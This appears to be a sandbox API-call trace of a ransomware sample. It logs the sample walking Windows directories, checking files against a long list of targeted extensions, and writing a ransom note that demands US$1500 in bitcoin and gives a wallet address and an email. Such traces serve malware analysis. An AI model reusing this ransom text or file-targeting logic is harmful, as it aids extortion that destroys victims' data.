(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0102.961] lstrlenA (lpString="*.dot") returned 5 [0102.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0102.961] lstrlenA (lpString="*.docx") returned 6 [0102.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0102.961] lstrlenA (lpString="*.7z") returned 4 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0102.962] lstrlenA (lpString="*.tar") returned 5 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0102.962] lstrlenA (lpString="*.bz2") returned 5 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0102.962] lstrlenA (lpString="*.gz") returned 4 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0102.962] lstrlenA (lpString="*.mkv") returned 5 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0102.962] lstrlenA (lpString="*.eml") returned 5 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0102.962] lstrlenA (lpString="*.msg") returned 5 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0102.962] lstrlenA (lpString="*.edb") returned 5 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0102.962] lstrlenA (lpString="*.accdb") returned 7 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0102.962] lstrlenA (lpString="*.odb") returned 5 [0102.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0102.963] lstrlenA (lpString="*.java") returned 6 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0102.963] lstrlenA (lpString="*.asm") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0102.963] lstrlenA (lpString="*.pfx") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0102.963] lstrlenA (lpString="*.pem") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0102.963] lstrlenA (lpString="*.p12") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0102.963] lstrlenA (lpString="*.gpg") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0102.963] lstrlenA (lpString="*.vsd") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0102.963] lstrlenA (lpString="*.odg") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0102.963] lstrlenA (lpString="*.raw") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0102.963] lstrlenA (lpString="*.nef") returned 5 [0102.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0102.964] lstrlenA (lpString="*.svg") returned 5 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0102.964] lstrlenA (lpString="*.psd") returned 5 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0102.964] lstrlenA (lpString="*.vmx") returned 5 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0102.964] lstrlenA (lpString="*.vmdk") returned 6 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0102.964] lstrlenA (lpString="*.vdi") returned 5 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0102.964] lstrlenA (lpString="*.lay6") returned 6 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0102.964] lstrlenA (lpString="*.mpeg") returned 6 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0102.964] lstrlenA (lpString="*.djvu") returned 6 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0102.964] lstrlenA (lpString="*.tiff") returned 6 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0102.964] lstrlenA (lpString="*.backup") returned 8 [0102.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0102.965] lstrlenA (lpString="*.pdf") returned 5 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0102.965] lstrlenA (lpString="*.cert") returned 6 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0102.965] lstrlenA (lpString="*.docm") returned 6 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0102.965] lstrlenA (lpString="*.xlsm") returned 6 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0102.965] lstrlenA (lpString="*.dwg") returned 5 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0102.965] lstrlenA (lpString="*.nd") returned 4 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0102.965] lstrlenA (lpString="*.tlg") returned 5 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0102.965] lstrlenA (lpString="*.lgb") returned 5 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0102.965] lstrlenA (lpString="*.mov") returned 5 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0102.965] lstrlenA (lpString="*.xdw") returned 5 [0102.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0102.965] lstrlenA (lpString="*.ods") returned 5 [0102.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0102.966] lstrlenA (lpString="*.wav") returned 5 [0102.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0102.966] lstrlenA (lpString="*.mp3") returned 5 [0102.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0102.966] lstrlenA (lpString="*.aiff") returned 6 [0102.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0102.966] lstrlenA (lpString="*.flac") returned 6 [0102.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0102.966] lstrlenA (lpString="*.m4a") returned 5 [0102.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\367516b7878af19f5c84c67f2cd277ae\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0102.966] lstrlenA (lpString="*.csv") returned 5 [0102.966] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebdf330, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1ebdf330, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1ebdf330, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0102.966] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0102.966] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d32fbe0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4d32fbe0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d32fbe0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="3a9ea6b5d60ef1ce209b72388ffdf514", cAlternateFileName="3A9EA6~1")) returned 1 [0102.966] lstrcmpA (lpString1=".", lpString2="3a9ea6b5d60ef1ce209b72388ffdf514") returned -1 [0102.966] lstrcmpA (lpString1="..", lpString2="3a9ea6b5d60ef1ce209b72388ffdf514") returned -1 [0102.966] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0102.966] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="3a9ea6b5d60ef1ce209b72388ffdf514" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514" [0102.967] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514") returned 100 [0102.967] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d32fbe0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4d32fbe0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d32fbe0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.967] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0102.967] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d32fbe0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4d32fbe0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d32fbe0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.967] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0102.968] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0102.968] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d2e3920, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4d2e3920, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d2e3920, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x96c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0102.968] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.968] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll") returned -1 [0102.968] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll") returned -1 [0102.968] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll") returned -1 [0102.968] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\*.*") returned="*.*" [0102.968] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\" [0102.968] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\") returned="" [0102.968] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\HOW TO DECRYPT FILES.txt" [0102.968] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\how to decrypt files.txt")) returned 0xffffffff [0102.968] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0102.972] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0102.972] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0102.974] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0102.975] CloseHandle (hObject=0x90) returned 1 [0102.975] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll" [0102.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0102.975] lstrlenA (lpString="*.ems") returned 5 [0102.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.db") returned 0 [0102.975] lstrlenA (lpString="*.db") returned 4 [0102.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0102.975] lstrlenA (lpString="*.dbf") returned 5 [0102.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0102.975] lstrlenA (lpString="*.myox") returned 6 [0102.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0102.975] lstrlenA (lpString="*.myo") returned 5 [0102.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0102.975] lstrlenA (lpString="*.qbw") returned 5 [0102.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0102.975] lstrlenA (lpString="*.qbb") returned 5 [0102.975] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\3a9ea6b5d60ef1ce209b72388ffdf514\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0102.976] lstrlenA (lpString="*.qbm") returned 5 [0102.976] 